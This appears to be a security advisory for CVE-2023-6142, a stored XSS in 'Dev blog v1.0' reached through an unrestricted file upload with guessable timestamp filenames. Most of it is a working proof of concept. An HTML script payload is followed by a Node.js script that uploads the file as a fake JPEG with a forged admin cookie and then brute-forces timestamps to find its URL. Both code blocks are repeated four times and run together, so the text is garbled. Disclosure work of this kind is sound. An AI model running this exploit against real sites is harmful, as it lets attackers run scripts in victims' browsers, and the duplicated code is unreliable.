Description
Dev blog v1.0 allows to exploit an XSS through an unrestricted file upload, together with a bad entropy of filenames. With this an attacker can upload a malicious HTML file, then guess the filename of the uploaded file and send it to a potential victim.
Vulnerability
A Stored cross-Site scripting (XSS) vulnerability has been identified in Dev blog, which allows an attacker to attacker to execute arbitrary JS code in the browser of any user of the application.
Exploit
exploit.html
<script>
alert(1)
</script>
<script>
alert(1)
</script>
<script>
alert(1)
</script>
<script>
alert(1)
</script>
exploit.js
const FormData = require('form-data');
const axios = require('axios');
const fs = require('fs');
const url = 'http://127.0.0.1:3000/admin/add';
const formData = new FormData();
formData.append('title', 'junk');
formData.append('subtitle', 'junk');
formData.append('image', fs.createReadStream('./exploit.html'), {
filename: 'exploit.html',
contentType: 'image/jpeg'
});
formData.append('content', 'junk');
const config = {
headers: {
...formData.getHeaders(),
'Content-Length': formData.length,
'Cookie': 'user=admin',
},
};
initialDate = Date.now()
axios.post(url, formData, config)
.then((response) => {
endDate = Date.now()
const baseUrl = 'http://127.0.0.1:3000/images/';
const fileExtension = '.html';
for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) {
const badUrl = `${baseUrl}${currentTime}${fileExtension}`;
fetch(badUrl)
.then(response => {
if (response.ok) {
console.log("The file name is: " + badUrl);
}
})
}
})const FormData = require('form-data');
const axios = require('axios');
const fs = require('fs');
const url = 'http://127.0.0.1:3000/admin/add';
const formData = new FormData();
formData.append('title', 'junk');
formData.append('subtitle', 'junk');
formData.append('image', fs.createReadStream('./exploit.html'), {
filename: 'exploit.html',
contentType: 'image/jpeg'
});
formData.append('content', 'junk');
const config = {
headers: {
...formData.getHeaders(),
'Content-Length': formData.length,
'Cookie': 'user=admin',
},
};
initialDate = Date.now()
axios.post(url, formData, config)
.then((response) => {
endDate = Date.now()
const baseUrl = 'http://127.0.0.1:3000/images/';
const fileExtension = '.html';
for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) {
const badUrl = `${baseUrl}${currentTime}${fileExtension}`;
fetch(badUrl)
.then(response => {
if (response.ok) {
console.log("The file name is: " + badUrl);
}
})
}
})const FormData = require('form-data');
const axios = require('axios');
const fs = require('fs');
const url = 'http://127.0.0.1:3000/admin/add';
const formData = new FormData();
formData.append('title', 'junk');
formData.append('subtitle', 'junk');
formData.append('image', fs.createReadStream('./exploit.html'), {
filename: 'exploit.html',
contentType: 'image/jpeg'
});
formData.append('content', 'junk');
const config = {
headers: {
...formData.getHeaders(),
'Content-Length': formData.length,
'Cookie': 'user=admin',
},
};
initialDate = Date.now()
axios.post(url, formData, config)
.then((response) => {
endDate = Date.now()
const baseUrl = 'http://127.0.0.1:3000/images/';
const fileExtension = '.html';
for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) {
const badUrl = `${baseUrl}${currentTime}${fileExtension}`;
fetch(badUrl)
.then(response => {
if (response.ok) {
console.log("The file name is: " + badUrl);
}
})
}
})const FormData = require('form-data');
const axios = require('axios');
const fs = require('fs');
const url = 'http://127.0.0.1:3000/admin/add';
const formData = new FormData();
formData.append('title', 'junk');
formData.append('subtitle', 'junk');
formData.append('image', fs.createReadStream('./exploit.html'), {
filename: 'exploit.html',
contentType: 'image/jpeg'
});
formData.append('content', 'junk');
const config = {
headers: {
...formData.getHeaders(),
'Content-Length': formData.length,
'Cookie': 'user=admin',
},
};
initialDate = Date.now()
axios.post(url, formData, config)
.then((response) => {
endDate = Date.now()
const baseUrl = 'http://127.0.0.1:3000/images/';
const fileExtension = '.html';
for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) {
const badUrl = `${baseUrl}${currentTime}${fileExtension}`;
fetch(badUrl)
.then(response => {
if (response.ok) {
console.log("The file name is: " + badUrl);
}
})
}
})Our security policy
We have reserved the ID CVE-2023-6142 to refer to this issue from now on.
Disclosure policy
System Information
Version: Dev Blog v1.0
Operating System: MacOS
Mitigation
There is currently no patch available for this vulnerability.
References